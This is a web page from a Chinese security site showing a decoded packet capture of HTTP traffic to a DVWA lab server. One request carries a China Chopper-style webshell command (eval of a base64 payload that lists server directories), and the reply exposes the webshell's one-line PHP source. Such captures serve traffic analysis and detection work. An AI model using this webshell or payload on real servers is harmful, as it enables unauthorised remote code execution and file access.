机窝安全——包浏览

首页 > 抓包

Subject	Content
/pkt/up/20170705/20170705002235_68872.pcap Size is:	1861
FileHeader is:	d4c3b2a1020004000000000000000000 0000040001000000

Pack 1
PackHeader is:	ad915b59ad7501004200000042000000
DateTime:	2017-07-04 21:01:33.95661
Pack Caplen is:	66
Src MAC is:	4ccc6a7e7342
Dst MAC is:	000c29f9f866
Ethertype is:	0800
IP Version is:	4
IP Header Len is:	20(bytes)
SrcIP Addr is:	192.168.0.111
DecIP Addr is:	192.168.0.117
Data Proctol is:	06(TCP)
Src Port is:	58410
Dec Port is:	80
SEQ -> NSEQ is:	4152396545->0
Data Len is:	12
Hex Data is:	020405b40103030801010402
Binary Data is:	�
Pack 2
PackHeader is:	ad915b59467601004200000042000000
DateTime:	2017-07-04 21:01:33.95814
Pack Caplen is:	66
Src MAC is:	000c29f9f866
Dst MAC is:	4ccc6a7e7342
Ethertype is:	0800
IP Version is:	4
IP Header Len is:	20(bytes)
SrcIP Addr is:	192.168.0.117
DecIP Addr is:	192.168.0.111
Data Proctol is:	06(TCP)
Src Port is:	80
Dec Port is:	58410
SEQ -> NSEQ is:	3101052590->4152396546
Data Len is:	12
Hex Data is:	020405b40101040201030307
Binary Data is:	�
Pack 3
PackHeader is:	ad915b59667601003600000036000000
DateTime:	2017-07-04 21:01:33.95846
Pack Caplen is:	54
Src MAC is:	4ccc6a7e7342
Dst MAC is:	000c29f9f866
Ethertype is:	0800
IP Version is:	4
IP Header Len is:	20(bytes)
SrcIP Addr is:	192.168.0.111
DecIP Addr is:	192.168.0.117
Data Proctol is:	06(TCP)
Src Port is:	58410
Dec Port is:	80
SEQ -> NSEQ is:	4152396546->3101052591
Data Len is:	0
Hex Data is:
Binary Data is:
Pack 4
PackHeader is:	ad915b59cc7601002204000022040000
DateTime:	2017-07-04 21:01:33.95948
Pack Caplen is:	1058
Src MAC is:	4ccc6a7e7342
Dst MAC is:	000c29f9f866
Ethertype is:	0800
IP Version is:	4
IP Header Len is:	20(bytes)
SrcIP Addr is:	192.168.0.111
DecIP Addr is:	192.168.0.117
Data Proctol is:	06(TCP)
Src Port is:	58410
Dec Port is:	80
SEQ -> NSEQ is:	4152396546->3101052591
Data Len is:	1004
Hex Data is:	504f5354202f315f322e706870204854 54502f312e310d0a582d466f72776172 6465642d466f723a203139392e312e38 382e32390d0a526566657265723a2068 7474703a2f2f3139322e3136382e302e 3131370d0a436f6e74656e742d547970 653a206170706c69636174696f6e2f78 2d7777772d666f726d2d75726c656e63 6f6465640d0a557365722d4167656e74 3a204d6f7a696c6c612f352e30202857 696e646f77733b2057696e646f777320 4e5420352e313b20656e2d5553292046 697265666f782f332e352e300d0a486f 73743a203139322e3136382e302e3131 370d0a436f6e74656e742d4c656e6774 683a203732390d0a43616368652d436f 6e74726f6c3a206e6f2d63616368650d 0a0d0a31323334353d406576616c2862 61736536345f6465636f646528245f50 4f53545b7a305d29293b267a303d5147 6c756156397a5a58516f496d52706333 427359586c665a584a7962334a7a4969 77694d4349704f30427a5a5852666447 6c745a56397361573170644367774b54 744163325630583231685a326c6a5833 46316233526c63313979645735306157 316c4b4441704f32566a6147386f4969 30253242664349704f7a736b52443169 59584e6c4e6a52665a47566a6232526c 4b4352665545395456467369656a4569 58536b374a455939514739775a57356b 6158496f4a4551704f326c6d4b435247 5054314f5655784d4b58746c59326876 4b434a46556c4a50556a6f764c794251 5958526f494535766443424762335675 5a4342506369424f627942515a584a74 61584e7a61573975495349704f33316c 62484e6c6579524e5055355654457737 4a457739546c564d5444743361476c73 5a53676b546a3141636d56685a475270 6369676b52696b706579525150535245 4c6949764969346b546a736b56443141 5a4746305a536769575331744c575167 534470704f6e4d694c45426d6157786c 625852706257556f4a4641704b547441 4a45553963335669633352794b474a68 6332566659323975646d567964436841 5a6d6c735a58426c636d317a4b435251 4b5377784d4377344b5377744e436b37 4a464939496c78304969346b56433469 584851694c6b426d6157786c63326c36 5a53676b55436b75496c78304969346b 52533469436949376157596f51476c7a 583252706369676b55436b704a453075 5053524f4c6949764969346b556a746c 62484e6c4943524d4c6a306b5469346b 556a74395a574e6f6279416b5453346b 54447441593278766332566b6158496f 4a4559704f3330375a574e6f62796769 6644777449696b375a476c6c4b436b37 267a313d4c335a686369393364336376 5a485a3359533932645778755a584a68 596d6c73615852705a584d76
Binary Data is:	POST /1_2.php HTTP/1.1 X-Forwarded-For: 199.1.88.29 Referer: http://192.168.0.117 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows; Windows NT 5.1; en-US) Firefox/3.5.0 Host: 192.168.0.117 Content-Length: 729 Cache-Control: no-cache 12345=@eval(base64_decode($_POST[z0]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2BfCIpOzskRD1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejEiXSk7JEY9QG9wZW5kaXIoJEQpO2lmKCRGPT1OVUxMKXtlY2hvKCJFUlJPUjovLyBQYXRoIE5vdCBGb3VuZCBPciBObyBQZXJtaXNzaW9uISIpO31lbHNleyRNPU5VTEw7JEw9TlVMTDt3aGlsZSgkTj1AcmVhZGRpcigkRikpeyRQPSRELiIvIi4kTjskVD1AZGF0ZSgiWS1tLWQgSDppOnMiLEBmaWxlbXRpbWUoJFApKTtAJEU9c3Vic3RyKGJhc2VfY29udmVydChAZmlsZXBlcm1zKCRQKSwxMCw4KSwtNCk7JFI9Ilx0Ii4kVC4iXHQiLkBmaWxlc2l6ZSgkUCkuIlx0Ii4kRS4iCiI7aWYoQGlzX2RpcigkUCkpJE0uPSROLiIvIi4kUjtlbHNlICRMLj0kTi4kUjt9ZWNobyAkTS4kTDtAY2xvc2VkaXIoJEYpO307ZWNobygifDwtIik7ZGllKCk7&z1=L3Zhci93d3cvZHZ3YS92dWxuZXJhYmlsaXRpZXMv
Pack 5
PackHeader is:	ad915b59247701003600000036000000
DateTime:	2017-07-04 21:01:33.96036
Pack Caplen is:	54
Src MAC is:	000c29f9f866
Dst MAC is:	4ccc6a7e7342
Ethertype is:	0800
IP Version is:	4
IP Header Len is:	20(bytes)
SrcIP Addr is:	192.168.0.117
DecIP Addr is:	192.168.0.111
Data Proctol is:	06(TCP)
Src Port is:	80
Dec Port is:	58410
SEQ -> NSEQ is:	3101052591->4152397550
Data Len is:	0
Hex Data is:
Binary Data is:
Pack 6
PackHeader is:	ad915b5921790100e9000000e9000000
DateTime:	2017-07-04 21:01:33.96545
Pack Caplen is:	233
Src MAC is:	000c29f9f866
Dst MAC is:	4ccc6a7e7342
Ethertype is:	0800
IP Version is:	4
IP Header Len is:	20(bytes)
SrcIP Addr is:	192.168.0.117
DecIP Addr is:	192.168.0.111
Data Proctol is:	06(TCP)
Src Port is:	80
Dec Port is:	58410
SEQ -> NSEQ is:	3101052591->4152397550
Data Len is:	179
Hex Data is:	485454502f312e3120323030204f4b0d 0a446174653a205765642c203035204a 756c20323031372030303a35353a3035 20474d540d0a5365727665723a204170 616368652f322e342e31302028446562 69616e290d0a436f6e74656e742d4c65 6e6774683a2033310d0a436f6e74656e 742d547970653a20746578742f68746d 6c3b20636861727365743d5554462d38 0d0a0d0a3c3f40696e636c7564652824 5f504f53545b223132333435225d293b 3f3e0a
Binary Data is:	HTTP/1.1 200 OK Date: Wed, 05 Jul 2017 00:55:05 GMT Server: Apache/2.4.10 (Debian) Content-Length: 31 Content-Type: text/html; charset=UTF-8 <?@include($_POST["12345"]);?>
Pack 7
PackHeader is:	ad915b59307901003600000036000000
DateTime:	2017-07-04 21:01:33.96560
Pack Caplen is:	54
Src MAC is:	4ccc6a7e7342
Dst MAC is:	000c29f9f866
Ethertype is:	0800
IP Version is:	4
IP Header Len is:	20(bytes)
SrcIP Addr is:	192.168.0.111
DecIP Addr is:	192.168.0.117
Data Proctol is:	06(TCP)
Src Port is:	58410
Dec Port is:	80
SEQ -> NSEQ is:	4152397550->3101052770
Data Len is:	0
Hex Data is:
Binary Data is:
Pack 8
PackHeader is:	b2915b594dd201003600000036000000
DateTime:	2017-07-04 21:01:38.119373
Pack Caplen is:	54
Src MAC is:	000c29f9f866
Dst MAC is:	4ccc6a7e7342
Ethertype is:	0800
IP Version is:	4
IP Header Len is:	20(bytes)
SrcIP Addr is:	192.168.0.117
DecIP Addr is:	192.168.0.111
Data Proctol is:	06(TCP)
Src Port is:	80
Dec Port is:	58410
SEQ -> NSEQ is:	3101052770->4152397550
Data Len is:	0
Hex Data is:
Binary Data is:
Pack 9
PackHeader is:	b2915b596ed201003600000036000000
DateTime:	2017-07-04 21:01:38.119406
Pack Caplen is:	54
Src MAC is:	4ccc6a7e7342
Dst MAC is:	000c29f9f866
Ethertype is:	0800
IP Version is:	4
IP Header Len is:	20(bytes)
SrcIP Addr is:	192.168.0.111
DecIP Addr is:	192.168.0.117
Data Proctol is:	06(TCP)
Src Port is:	58410
Dec Port is:	80
SEQ -> NSEQ is:	4152397550->3101052771
Data Len is:	0
Hex Data is:
Binary Data is: